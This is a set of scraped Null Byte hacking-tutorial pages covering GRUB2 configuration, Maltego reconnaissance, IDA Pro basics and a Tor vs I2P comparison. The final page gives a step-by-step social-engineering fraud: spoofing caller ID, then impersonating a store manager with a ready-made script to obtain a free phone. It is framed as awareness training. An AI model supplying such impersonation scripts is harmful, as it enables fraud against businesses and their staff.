onTwitterandGoogle+Follow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image (original) byGennady Kireev/123RF; Screenshots by Barrow/Null ByteRelatedHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPRaspberry Pi:MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 9 (How to Install New Modules)Mac for Hackers:How to Get Your Mac Ready for HackingHack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:Metasploit for the Aspiring Hacker, Part 4 (Armitage)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 2 (Keywords)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 13 (Web Delivery for Windows)How To:Stop the New Java 7 Exploit from Installing Malware on Your Mac or PCHack Like a Pro:How to Create a Smartphone Pentesting LabHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How To:Create a Metasploit Exploit in Few MinutesHack Like a Pro:Metasploit for the Aspiring Hacker, Part 6 (Gaining Access to Tokens)How To:Chain VPNs for Complete AnonymityIPsec Tools of the Trade:Don't Bring a Knife to a GunfightDrive-By Hacking:How to Root a Windows Box by Walking Past It
Hack Like a Pro: Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader) « Null Byte :: WonderHowTo
Welcome back, my aspiring hackers!Many of you have installedKali Linuxas a virtual machine (VM) using VMware or VirtualBox, while others have installed Kali (orBackTrack) in adual-boot system. The drawback to installing these hacking systems as a VM is that it then requires anexternal wireless adapter(your wireless adapter is piped through the VM as a wired device, eth0), but it makes for a great place to test your hacks while honing your skills.Using Kali in a dual-boot system doesn't require another wireless adapter and enables you to use the full resources of your physical system without having to go through a hypervisor. In this way, when you need your Windows, you boot into Windows, and when you need Kali, you boot into Kali.The BootloaderTo be able to run a dual-boot system, you must have a bootloader, and therein lies the issue. The bootloader enables us to choose which operating system we want to boot into. To be comfortable with this arrangement, we need to understand a bit about this thing called a bootloader.Historically,Linuxhas used two bootloaders, LILO and GRUB. You may find LILO on some older, legacy systems, but it has largely been replaced by GRUB. GRUB has two versions, the original GRUB and now the new improved GRUB2! Our Kali system comes with GRUB2 by default, so I will focus my attention on this newer version here.To help you better understand how GRUB works and to help you configure and troubleshoot GRUB, I dedicate these next two Linux tutorials, so stay tuned for Part 22 in myLinux Basicsseries.A Little Background on GRUBGRUB is an acronym for GRand Unified Bootloader. It largely replaces the legacy bootloader found on many older Linux version, LILO. GRUB works by intercepting control of the boot process when the BIOS transfers control to the Master Boot Record (MBR) in the first sector of the primary hard drive. Rather than the MBR then finding the first active partition, GRUB replaces the MBR with its own code that controls which partition is booted.Step 1: Exploring GRUBLet's take a look at GRUB2 as it is installed on Kali. GRUB2, unlike the original GRUB, has all its files installed into three main locations. These are:/boot/grub/grub.cfg- this is the main configuration file (replaces menu.lst)/etc/grub.d- this directory contains the scripts that build the grub.cfg/etc/default/grub- this file contains the GRUB menu settingsNow, let's begin by navigating and looking inside the GRUB directory.kali > cd /boot/grubkali >ls -lAs you can see, there are many files in this directory, but the one we want to focus on here is thegrub.cfg. This is the configuration file in the new GRUB2 that comes with Kali. It replaces the oldmenu.lstthat you will find on the original GRUB. Let's open it with themorecommand and examine it.Grub.cfgis basically a script for running and configuring GRUB2. It is generated by the scripts in/etc/grub.dand you generally should NOT try editing it directly (note the warning on the second line of the file).Step 2: The /Etc/grub.d DirectoryNext, let's look at the/etc/grub.ddirectory.kali > cd /etc/grub.dkali > ls -lAs you can see in the screenshot above, this directory has a number of scripts that are run to create thegrub.cfg file. Let's look at the key entries here.00_header- this script loads the settings from /etc/default/grub05_debian_theme- this script defines the colors, background, etc.10_linux- this script loads the menu entries20_memtest86- this script loads the memory tester30_os-prober- this script scans the hard drives for other operating systems40_custom- this is a template for manually adding other menu entriesStep 3: Exploring /Etc/Default/GrubNow, let's go to the/etc/defaultdirectory and look to see what is in this directory.kali > cd /etc/defaultkali > ls -lThis directory contains many files and scripts that configure various daemons or services in Linux. The only one we are interested here is thegrubfile that I highlighted in the screenshot above. Let's open that file with the more command.kali > more /etc/default/grubWhen we do so, we will see the following output.This file contains many of the customization parameters for GRUB such as the TIMEOUT and other parameters. If you change anything it this file, you must run "update-grub" for those changes to take effect as it then makes changes to thegrub.cfgfile.Step 4: How GRUB2 WorksBefore we go any further, I want to take a moment to detail how GRUB2 works. It's quite different than the original GRUB and you need to understand this before you attempt any edits or changes to GRUB2.The differences in configuring GRUB and GRUB2.Image viajErikoThe/etc/default/grubfile contains customization parameters.The/etc/grub.d/directory contains scripts for the GRUB menu information and the scripts to boot the various operating systems. When theupdate-grubcommand is run, it reads the contents of the grub file and thegrub.dscripts and creates the grub.cfg file.To change thegrub.cfgfile, you need to edit the grub file or the scripts undergrub.d.Stay Tuned for More on GRUB...In my next tutorial in myLinux Basicsseries, I will show how to edit your GRUB bootloader, so keep coming back, my aspiring hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)How To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 1 (Getting Started)How To:The Hardware Hacker's Introduction to Microcontrollers, Part One: Anatomy of an ArduinoHow To:Install GRUB 2 and apply themes on Ubuntu LinuxHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 25 (Inetd, the Super Daemon)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 12 (Loadable Kernel Modules)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 13 (Mounting Drives & Devices)How To:Linux Basics for the Aspiring Hacker: Using Start-Up ScriptsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 9 (Managing Environmental Variables)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 5 (Installing New Software)Mac for Hackers:How to Install Kali Linux as a Virtual MachineSecure Your Computer, Part 2:Password-Protect the GRUB Bootloader on Dual-Booted PCsHow To:Give Your GRand Unified Bootloader a Custom ThemeGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingNews:Cannot find windows loader after Linux install?Community Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingHow To:Change Grub Boot Loader BackgroundGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingNews:Let Me Introduce MyselfGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingHow To:How Hackers Take Your Encrypted Passwords & Crack Them
Hack Like a Pro: How to Use Maltego to Do Network Reconnaissance « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!Before we attempt to exploit any target, it is wise to do properreconnaissance. Without doing reconnaissance, you will likely be wasting your time and energy as well as risking your freedom. In previous guides, I have demonstrated multiple ways to perform reconnaissance including passive recon withNetcraft, active recon withNmaporhping3, recon by exploitingDNSorSNMP, andmany others.In this tutorial, we will be using an active tool calledMaltego, developed byPaterva, that can do many of these tasks with one simple scan. There is a community edition built into ourKali Linuxthat allows us 12 scans without purchasing Maltego. It is capable of a significant amount of information gathering about a prospective target in a single sweep of the domain.Using Maltego in Kali to Recon a Target NetworkMaltego is capable of gathering information about either a network or an individual; here we will focus on the former and leave individual information gathering for another time. We will be looking at gathering info on all the subdomains, the IP address range, the WHOIS info, all of the email addresses, and the relationship between the target domain and others.Step 1: Open Maltego & RegisterLet's start by firing up Kali and then opening Maltego. Maltego can be found in numerous places in Kali, but the easiest way to get to it is to go to Applications -> Kali Linux -> Top 10 Security Tools. Then, among the Top 10, you will find Maltego at number 5, as shown in the screenshot below.When you open Maltego, you will need to wait a brief moment for it to startup. After it finishes loading, you will be greeted by a screen asking you to register Maltego.Go ahead and register and save and remember your password as you will need it again the next time you login into Maltego.Step 2: Choose a Machine & ParametersAfter successfully registering and logging into Maltego, we will have to decide what type of "machine" we want to run against our target. In Maltego's parlance, a machine is simply what type of footprinting we want to do against our target. Here, we are focusing on the network footprinting, so our choices are:Company Stalker(this gathers email information)Footprint L1(basic information gathering)Footprint L2(moderate amount of information gathering)Footprint L3(intense and the most complete information gathering)Let's choose an L3 footprint that will gather as much information as we can; this is also the most time-consuming option, so be aware of that.Step 3: Choose a TargetNow, that we have chosen a type of machine for our footprinting, we will need to choose a target. Let's choose our friends atSANS, one of the leading IT security training and consulting firms in the world.Now, click "Finish" and let Maltego do its work.Step 4: ResultsMaltego will now begin to gather info on our target domain, sans.org, and display it on screen. In the screenshot below, we can see that Maltego has already collected the email addresses from the site, while it collects the nameservers and mail servers.Finally, we can click on "Bubble View" when Maltego is done and see all of the relationships between our target and its subdomains and linked sites.Maltego is an excellent tool to do network recon on our potential target, enabling us to do numerous types of recon in a single scan with a single tool. Maltego is also capable of doing individual recon, but we will leave that for my next Maltego article, my greenhorn hackers.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedVideo:How to Use Maltego to Research & Mine Data Like an AnalystHack Like a Pro:How to Hack Web Apps, Part 2 (Website Spidering with WebScarab)News:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Use Maltego to Target Company Email Addresses That May Be Vulnerable from Third-Party BreachesHow To:Use Maltego to Monitor Twitter for Disinformation CampaignsHow To:Use Maltego to Fingerprint an Entire Network Using Only a Domain NameHow To:The Five Phases of HackingHack Like a Pro:How to Perform Stealthy Reconnaissance on a Protected NetworkHack Like a Pro:Reconnaissance with Recon-Ng, Part 1 (Getting Started)How To:Advanced Penetration Testing - Part 1 (Introduction)Hack Like a Pro:How to Spy on Anyone, Part 2 (Finding & Downloading Confidential Documents)Hack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:The Hacker MethodologyHack Like a Pro:How to Conduct Active Reconnaissance and DOS Attacks with NmapHack Like a Pro:How to Conduct OS Fingerprinting with Xprobe2Hack Like a Pro:How to Conduct Passive Reconnaissance of a Potential TargetHack Like a Pro:Getting Started with BackTrack, Your New Hacking SystemRecon:How to Research a Person or Organization Using the Operative FrameworkHow To:Scrape Target Email Addresses with TheHarvesterHack Like a Pro:How to Extract Metadata from Websites Using FOCA for WindowsHow to Hack Databases:Hunting for Microsoft's SQL ServerNews:AR-Enabled Moon Model Shoots Past Crowdfunding GoalHack Like a Pro:How to Exploit SNMP for ReconnaissanceHow To:Become a Computer Forensics Pro with This $29 TrainingHack Like a Pro:How to Conduct Passive OS Fingerprinting with p0fHow To:You Can Easily Hack Instagram for a Crazy Amount of Likes (But You Totally Shouldn't)Hack Like a Pro:How to Crack Private & Public SNMP Passwords Using OnesixtyoneHow To:Force Switch to T-Mobile or Sprint on Project FiHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow To:The Official Google+ Insider's Guide IndexHacking Reconnaissance:Finding Vulnerabilities in Your Target Using NmapCamera Plus Pro:The iPhone Camera App That Does it All
Hack Like a Pro: Digital Forensics for the Aspiring Hacker, Part 6 (Using IDA Pro) « Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!Digital forensicsand hacking are complementary disciplines. The better you are at digital forensics, the better hacker you are, and the better hacker you are, the better you are digital forensics. Unfortunately, few people in either profession cross these discipline lines.No tool embodies this complementary relationship better thanIDA Pro. It is an excellent tool for malware forensics and an excellent tool for malware re-engineering.IDA Pro is designed to debug and disassemble software that can be critical for reverse engineering malware and doing malware forensics. These are some of the most valuable and most sought after skills in the digital forensic industry. Becoming familiar with IDA Pro and other reverse-engineering tools is a prerequisite to working in this industry.Reverse EngineeringReverse engineering is the discipline of studying how a piece of code works and then building something that does the same thing, but differently. In hacking, this would enable us to use a successful piece of malware that has aknown signatureby antivirus software and intrusion detection systems and build a new piece of malware that does the same thing with anunknown signature.Malware ForensicsMalware forensics is the discipline of disassembling malware to determine the origin of the malware. Since hackers often use the same code modules as other malware and other clues are left in the code, often times malware analysts can attribute the malware to a particular hacker, group, or country by doing this type of analysis. Remember, the FBI used this type of analysis to attributethe Sony hack to North Korea.Using the Free IDA DemoIn this tutorial, I will start you along the path to using and understanding this powerful and widely used piece of software. Although IDA Pro is a commercial software package (the professional version sells for over $1,100), we will initially use the demo version so that everyone can use it and become familiar with it.The demo version can only disassemble x86 Windows PE files, so that's what I'll be using here. The professional version is able to disassemble and analyze just about any type of software on any architecture. Eventually, we will progress to the commercial version in later tutorials.Step 1: Download the IDA DemoYou can download the demo version of IDAhere. After downloading IDA and installing it, it should be in your programs at the Start button in Windows. Locate it and click on the icon. When you do so, IDA will start up with a screen like below.Go ahead and click on the "Disassemble a new file" button.Step 2: Load a FileWe can now drag and drop a file into the working center window or click on File -> Open.After selecting a file to disassemble and analyze, the window below will pop up. As you can see, IDA was able to automatically determine the type of file (portable executable) and processor type (x86). Click on "OK."When IDA begins its disassembly and analysis, it analyzes the entire file and places the information into a database. This database has four files:name.id0– contains contents of B-tree-style databasename.id1– contains flags that describe each program bytename.nam– contains index information related to named program locationsname.til– contains information about local type definitionsWhenever you go to close IDA, it will ask you whether you want to save these database files. If you do, these files will be saved and available to you at any time. You will see these files saved in the same directory as the file you are analyzing.Step 3: Start the DisassemblyIn this example, I will be using small .exe file that is part of theAcunetix Web Vulnerabilityscanner. It's a portable .exe (PE) and is 32-bit, so the demo version of IDA can disassemble it. When we open it, IDA begins its disassembly process and displays the information like in the screenshot below.As you can see above, IDA provides us with some basic info in the IDA View tab. If we scroll down the IDA View, we can see every line of code.The colorful bar above this view represents the memory that the file is occupying. It color codes for the different parts of the program that are stored in each part of memory. If we right-click any part of the memory bar, we can zoom in to that segment of the code stored in memory. We are capable of zooming in right down to the single byte level.We can view the file from many different perspectives by selecting any of these views available. These include the IDA View (as seen here), Hex View, Structures, Enums, Imports, and finally, Exports. By clicking on any one of those tabs, it will give us that particular view of the code (see Import in Step 5 below).Step 4: View a Flow ChartOne of the most interesting and enlightening views that IDA can provide us is the flow chart. The flow chart graphically displays the flow of the execution of the file, making it easier to understand. We can open it by going to the top menu bar and clicking on View -> Graphs -> Flow Chart. It will open a Flow Chart of the code similar to that below.We can zoom in by going to the View menu at the top of the flow chart to get greater detail. In this way, we can view the program flow from each register, subroutine, and function.Step 5: Show ImportsWhen we select the Imports view, IDA will show us all the modules that that the .exe imported.Step 6: Customize the AnalysisFinally, we can begin to customize what and how IDA displays the code to by going to Options -> General. A window like that shown in the screenshot below will enable us to customize our analysis.Now that you are familiar with the basic structure, function, and operation of IDA, you are ready to begin analyzing the code. In a future tutorial, I will show you how to use this impressive tool to fingerprint the malware and potentially re-engineer it to make it unique and undetectable. So keep coming back, my greenhorn hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)News:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 5 (Windows Registry Forensics)How To:Become a Computer Forensics Pro with This $29 TrainingHow To:The Essential Skills to Becoming a Master HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 11 (Using Splunk)Hack Like a Pro:Digital Forensics Using Kali, Part 1 (The Tools of a Forensic Investigator)News:Why YOU Should Study Digital ForensicsHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 8 (More Windows Registry Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 2 (Network Forensics)News:What to Expect from Null Byte in 2015The Sony Hack:Thoughts & Observations from a Real HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 12 (Windows Prefetch Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 10 (Identifying Signatures of a Port Scan & DoS Attack)How To:Binary Patching. The Brute Force of Reverse Engineering with IDA and Hopper (And a Hex Editor).Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 15 (Parsing Out Key Info from Memory)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 9 (Finding Storage Device Artifacts in the Registry)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 11 (Apache Web Servers)News:Airline Offers Frequent Flyer Miles to HackersHack Like a Pro:Digital Forensics Using Kali, Part 2 (Acquiring a Hard Drive Image for Analysis)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 6 (Networking Basics)How To:Become a working DJ using pro digital techniquesHow To:Use Adobe Premiere Pro to edit video and moviesHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 16 (Extracting EXIF Data from Image Files)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 7 (Windows Sysinternals)Hack Like a Pro:How to Hack Facebook (Facebook Password Extractor)How To:Why You Should Study to Be a HackerHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 14 (Live Memory Forensics)Hack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 4 (Evading Detection While DoSing)How To:Be a better bartender with tips from a proCalling All DJs:Spotify's 20 Million Song Catalog Is Now Yours to Mix WithCamera Plus Pro:The iPhone Camera App That Does it AllNews:What does Pro Tools HD Native mean for you?How To:The Official Google+ Insider's Guide IndexTHE FILM LAB:Intro to Final Cut Pro - 02News:Quiksilver Pro El Salvador:News:Let Me Introduce Myself
Tor vs. I2P: The Great Onion Debate « Null Byte :: WonderHowTo
In my recentDarknet series, I attempted to connect the dots on the Deep Web. I covered the two largest anonymity networks on the Internet today,TorandI2P. While my initial four articles were meant as an introduction, I ended up receiving a lot of interesting comments and messages asking the technical differences between the two. I'd like to thank all of you for letting me know what was on your minds, as you should always!With this article, I am going answer those questions and better explain the pros and cons of each, breaking down the networks, pitfalls, and things you should know to be safe. But first, let's take a brief jump back into the Deep Web to better explain these tools in order to give you the knowledge to make more informed choices.Back to OnionsTor and I2P are both anonymizing networks, allowing people to tunnel out of their open and non-secure environments. However, they achieve this in slightly different ways.As a quick recap, onion routing involves wrapping yourpacketsin multiple layers of encryption, in a system where each router that passes it along only has the key to decrypt its layer and none of the others. This way, each router can only see the router that sent it the packets and the router it in turn must send the packets to. It's how this is performed that draws its contrasts. Let's take a look at each in more detail.TorTor has been around quite a while longer then I2P. As a result, it has been studied much more in depth by both thewhite hatandblack hatcommunities. In my Tor article, I mentioned it was better designed as an out-proxy than I2P is. This is because there are many more exit nodes on the Tor network then on I2P, and with the ability to useTLSand bridges, Tor also performs better at evading state-level firewalls (think China and Iran).The only reason anyone would be changing the I2P config would be to set up port forwarding, and that's a bit out of this article's scope (though a great idea for a future one). Tor is a simpleSOCKSproxy, so your only choice is to be a relay, exit node, or client node. Tor also has advantages in that it holds a large number of talented developers, some of them are even funded. In fact, Tor receives a good amount of money for its maintenance and development, and this shows in the form of its excellent documentation and white papers.On that note, Tor is written in C, as opposed to I2P's Java. This means that the Tor client typically runs faster and with a smaller memory footprint.Tor takes the directory-based approach, providing a centralized point to manage the overall 'view' of the network, as well as gather and report statistics, as opposed to I2P's distributed network model. This centralization reduces complexity at each node and can efficiently addressSybil attacks.I2PI2P was designed with the internal network in mind. Steps have been taken to provide a better environment for hosting services rather then providing out-proxies. This is the fundamental difference between I2P and the Tor network. I2P was designed and optimized for hidden services, which are much faster than in Tor, as the network is fully distributed and self-organizing. Helping this is the fact that peers are selected by continuously profiling and ranking performance, rather than trusting claimed capacity.I2P is packet switched, instead of circuit switched, like the Tor network. This means transparent load balancing of messages across multiple peers, rather than a single path. Essentially, all peers participate in routing for others. Also along these lines, I2P's API was created for anonymity, unlike SOCKS, which is designed for functionality. As Tor uses SOCKS, I2P tends to fare better for security than Tor, but keep in mind most peoplewill nothave a threat model where this would be of concern, as attacks tend to be highly complex.Lastly, tunnels in I2P are short lived, decreasing the number of samples that an attacker can use to mount an active attack with, unlike circuits in Tor, which are typically long lived.What Is Best for Me?That's a very open ended question. At times, it falls to a technical choice, an example being P2P file sharing over I2P, where as Tor does not support (nor encourage) it. Other times it depends on your personal choices. You will find the content on the Tor and I2P networks to vary. It is not to say you should not host services on Tor, or should not out-proxy with I2P, but the networks are designed with different strengths in mind.Perhaps the answer to the question is what I do. I use both.Generally, if you are looking for a robust SOCKS out-proxy, Tor is a great choice. Granted a number of exit nodes have been blacklisted to prevent abuse, the network still has plenty more.If you want to host hidden services, then I2P would be your better choice, as you are afforded the added protection of decentralization and higher speeds to go along with it.ShortfallsUsing these tools, you are only as anonymous as you allow yourself to be. Doing things like logging into your personal Facebook account or checking your personal email while using these networks will remove a good chuck of what is protecting you and keeping you safe. It's wise to keep a few guidelines in mind:Think of your 'clear' net identity and your darknet identity as two separate things. Do not mix the two.Avoid using any personal information or distinguishing remarks on the network—remember to be someone else. Don't leave clues as to who you really are.You should never use your normal browser to view resources through the networks, only use the bundled browsers, or manually turn off those services. Flash and Java are especially good at betraying your location and IP address to servers. Turn them both off.Tor Exit NodesA brief word about exit nodes.An exit node is a machine that sits on the edge of the darknet. It acts as an intermediary between yourself and the outside Internet. As such, the exit nodes are routing all sorts of unsavory traffic, pretty much all the bad things you might expect to find hidden on a darknet. While Tor does give you the option to function as an exit node, unless you wish to have a talk with the police, leave it alone.In this case, what you can choose is a non-exit relay. This lets you help with forming more random and unique routes on the network. Helping your mates browsing along with you by giving them more security all while speeding up your own traffic. Why you are on this screen, you can change your bandwidth settings to reflect your capabilities as well.Now, I want to hear from you!What do you use Tor and I2P for? Do you like one over the other? Why?As always if you have any comments or questions, please let me know in the comments below, visit ourforum, or come say hello in ourIRCchannel!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseImages byI2P,PopSci,MisesRelatedHow To:Access Deep WebNews:Use ProtonMail More Securely Through the Tor NetworkSPLOIT:How to Make a Proxy Server in PythonHow To:The Top 80+ Websites Available in the Tor NetworkHow To:Set Up an SSH Server with Tor to Hide It from Shodan & HackersHow To:Hack TOR Hidden ServicesHow To:With the Silk Road Bust, the Online Black Market Already Has a New HomeHow To:Access the Dark Web While Staying Anonymous with TorHow To:Is Tor Broken? How the NSA Is Working to De-Anonymize You When Browsing the Deep WebTor for Android:How to Stay Anonymous on Your PhoneHow To:Install ParrotSec Sealth and Anonsurf Modules on Kali 2.0News:Anonymity Networks. Don't use one, use all of them!News:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Three: Hidden ServicesNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and DaggersHow To:Use I2P to Host and Share Your Secret Goods on the Dark Web—AnonymouslyEditor Picks:The Top 10 Secret Resources Hiding in the Tor NetworkHow To:Become Anonymous on the Internet Using TorHow To:Use Tortunnel to Quickly Encrypt Internet TrafficNews:Full NBC Jerry Brown vs. Meg Whitman DebateUntraceable:How to Seed Torrents Anonymously Using I2PSnarkHow To:Networking Basics for the Aspiring HackerAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeNews:Feds arrest several in connection to Drugs on Tor networks 'Silk Road'Movie Quiz:Old School - DebateMovie Quiz:Old School - DebateNews:Netflix and Redbox Info GraphicsNews:Make an "On/Off" Tor Button for ChromeWeekend Homework:How to Become a Null Byte Contributor (3/2/2012)How To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosNews:The Great HARRY POTTER Debate 2010News:Flash or H.264? (via Videomaker)Weekend Homework:How to Become a Null Byte Contributor (2/24/2012)News:Piratebay - To be blocked in the UKNews:Republican Arizona debateNews:Dahmer vs. GacyNews:Arrived in Denver at the Starfest Convention!
Social Engineering, Part 1: Scoring a Free Cell Phone « Null Byte :: WonderHowTo
ThisNull Byteis the first part in a mini-series on the art ofSocial Engineering. I will be teaching you how to effectively defend yourself against it.What is Social Engineering?Social Engineeringis the art of hacking humans. It's when a person is manipulated into doing something that they do not realize, or wouldn't normally do. Social Engineering plays on human trust in fellow people. People naturally want to trust others.When you see a not-so-well-to-do looking homeless person, you would occasionally give them money because they need it, right? What if that was wrong? What if that person dressed the way they do because they just want sympathy money? That is a Social Engineer.In this Null Byte, I'm going to show you how I "could" use Social Engineering to my advantage to getfreecell-phones. This is not something anyone should do in real life, but it does happen. The best way to defend yourself is to know your attacker, know how they think, and know their motivations: "If you know the enemy and know yourself, you need not fear the result of a hundred battles".Now, before we begin, you must know thatthis isn't 100% effective. The only way to become a highly effective Social Engineer is to practice, have confidence, and know your target. Without these things, a person will listen to their gut, and not fall victim to your manipulative techniques. If that happens, how are you supposed to be weary when you fall victim to it? When the attack is transparent, how could you notice when it's happening? Learn the in's and out's of how the process works.Step1Prepare for the AttackIf an attacker were to attempt social engineering, there are a few things he or she would set up and prepare before going through with the manipulation. For the sake of redundancy, I am going to refer to this person as "he" from here on out.He would have two cell phone stores in mind, of the same variety (Ex: Verizon). Preferably close together, so he would not have to drive or travel far.He would use a service likeTelespoof, a caller ID spoofing service that allows one free call. You can make your number appear on someone's caller ID as anything you choose.A phone is needed to use with Telespoof. He could also use aVoIPservice, such asSkypeorGoogle Voice.Step2Calling Target "A"The attacker would call the cell phone store of choice, in this case, Verizon (preferably, the one that is furthest away because this isn't the store the he would be traveling to).When an employee answers the phone, the attacker asks for the manager's name. He could say that he wants the name because he's calling corporate headquarters to say what great service the store provided last week. At this point, the attacker could use any story he desired, as long as it sounds legitimate. This will ensure that they don't know who the caller is, and will gladly give up the name. If the manager of the store isn't a male, he would have to try a different store until he found one, as this would obviously pose a problem when he tries to impersonate the manager later.The attacker then records the name of the manager, as well as the location of the store.Step3Calling Target "B"After the attacker gets the information needed, he then follows the below steps:Call the other phone store usingTelespoof, and enter the first target's phone number as the displayed caller ID.Impersonate being the manager, using their name that he got from the other store.Use a story similar to the following:"Hello, it's <insert name here> from the <insert location of the store> Verizon store. I have a customer here named <attackers name>, and this is embarrassing. They just bought one of those deals we are having on the new Moto Droid, the one where you get the phone free, and they signed the contract and everything, but we are all out of free phones. Can you help me out? If I send him down there, can you give him the phone?"More than likely, the person will say yes, because people love to help out their fellow human beings.Step4Going in for the ScoreTo finish the deal, the attacker then:Goes into the store called in Step 3, and asks for the employee whom he spoke with on the phone.Tells them who he is, and that he was told to speak with them regarding the phone ordeal that the "manager" of the other store spoke with them about.Receives his free phone, and walk out.Registers the phone to any plan he wants, sign up for a prepaid plan, or just sell the phone for profit.Can you see how simple it would be to manipulate someone using simple mind-trickery, and pretending to be an "insider"? This is why Social Engineering is scary, and people need to be educated.WarningsImpersonating someone is illegal, this guide is made as a forewarning, and to educate people on how easy it can be to be manipulated, do not attempt or use this information in an illegal or malicious way. This is made so you can see an example of a technique a skilled Social Engineer would use to manipulate their target.What You Should Have LearnedBe more cautious, and alert to potentially manipulative traps.Ask for ID when speaking to someone. Always verify someone's identity when doing business of ANY kind, it's good practice.Ask questions or start a thread in theForums!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data 